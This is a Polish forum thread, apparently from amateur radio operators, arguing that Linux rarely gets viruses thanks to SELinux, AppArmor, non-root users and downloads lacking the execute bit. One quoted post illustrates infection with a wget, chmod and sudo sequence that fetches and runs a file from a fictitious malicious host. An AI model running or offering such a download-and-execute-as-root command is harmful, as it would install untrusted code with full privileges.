Biedny "SKYPE" - UWAGA
    sq8jmd pisze:

      SQ6KOJ pisze:

      Tak Stanisławie, takie są właśnie przyczyny wierzenia w stereotypy o Linuksach oczko Owszem wirusy są mniej popularne bo i sama ilość użytkowników mówi za siebie. Bardziej się opłaca wykorzystać dziurę lub nieuwagę użytkownika pod Windowsem bo jest to system póki co nr. 1 pod względem ilości użytkowników

    1) Polecam zapoznać się z konkursem pwn2own - to nie jest konkurs dla "pryszczersów"
    2) Wirusy na Linuksa są jak Yeti, każdy słyszał, nikt nie widział.
    3) Domyślnie każdy ściągnięty plik nie ma parametru wykonywalności więc nie można go uruchomić.
    4) AppArmor (standardowo stosowane np w Ubuntu), SELinux - powodzenia w obejściu SELinux, jest to wyższa szkoła jazdy.

    Są znane przypadki kiedy to część komputerów Linuksowych została zarażona, takie przypadki to chociażby wygaszacz ekranu z gnome-looks.org. Informacja o takim niebezpieczeństwie rozchodzi się "szybciej niż w służbach bezpieczeństwa".
    Repozytoria są dobrze chronione (co nie oznacza możliwości zainfekowania softu w repozytoriach). Nim coś trafi do oficjalnego repo przechodzi wiele ścieżek przez wiele użytkowników. Domyślnie użytkownik nie pracuje na prawach roota (w przeciwieństwie do Windowsa). Szybkość łatania dziur w Linuksie jest o wiele szybsza niż pod M$. M$ poza standardowym planem aktualizacyjnym raz na ruski rok przy bardzo krytycznej luce wystawi łatki w usłudze "Windows update".

    Wnioskując, aby wirus się dostał na Linuksa musimy wykonać następujące polecenia:

    wget http://zlastrona.pl/wirus
    chmod +x wirus
    sudo ./wirus

    Linuksa używam od około 2000 roku, nie tylko hobbistycznie ale i zawodowo. Moja dziewczyna również używa Linuksa (jest nie techniczna). Rodzice tak samo. Żadnych kłopotów mimo tego, że user robi co chce i jak chce.

    Na pewno tą wypowiedzią zrobię burzę w szklance wody ale proszę rozróżnić następujące pojęcia, wirus i trojan. Ten pierwszy ma za zadanie rozpowszechniać się sam. Więc retorycznie pytając, czy wirusy (patrząc na zabezpieczenia systemów Linuksowych) istnieją?
    Oczywiście są metody aby użytkownika skusić do uruchomienia czegoś (przynajmniej bez roota aby program, chcący się zwać wirusem, zaczął działać w systemie) ale różnice pomiędzy dystrybucjami powodują większy kłopot w znalezieniu dziury w systemie (chociażby poprzez bufferoverflow).

    Kończąc swoją wypowiedź, wirusy na Linuksa jak najbardziej mogłyby być popularne (patrz zestawienie top500) ale zróżnicowanie i wbudowane mechanizmy obronne robią swoje (SELinux jest tworzone przez NSA. Jeżeli trzeba to nawet po VNC mogę wystawić np. Ubuntu 12.10 i dać konto (bez roota), powodzenia w zainfekowaniu systemu - nie kolega pierwszy i nie ostatni będzie tak pisał zamiast przedstawić dowód (do dowodów nie zaliczam włamanie się do repo i zainfekowanie tylko kilku tysięcy maszyn).
    Coś o SELinux - http://www.nsa.gov/research/selinux/
    Coś o AppArmor (standardowe np. dla Ubuntu czy Fedory) http://en.wikipedia.org/wiki/AppArmor

    Ps. Czekam na dowody, gdybanie proszę zostawić na spotkanie przy piwku czy kawce bo chętnie porozmawiam na ten temat, wszak nie jestem nieomylny lecz dążę do poszerzenia jeszcze bardziej mojej wiedzy.


Ponieważ lepiej bym tego nie ujął pozostaje mi tylko złożyć dla Kolegi moje uznanie.
Od wielu lat używam linuksa(ów)i nigdy nie spotkałem się z takim badziewiem jak wirus. A propozycje programowe dla krótkofalowców (np. CQRLog lub FLDigi i inne choćby skajp) w zupełności spełniają moje oczekiwania.

Pozdrawiam,


  PRZEJDŹ NA FORUM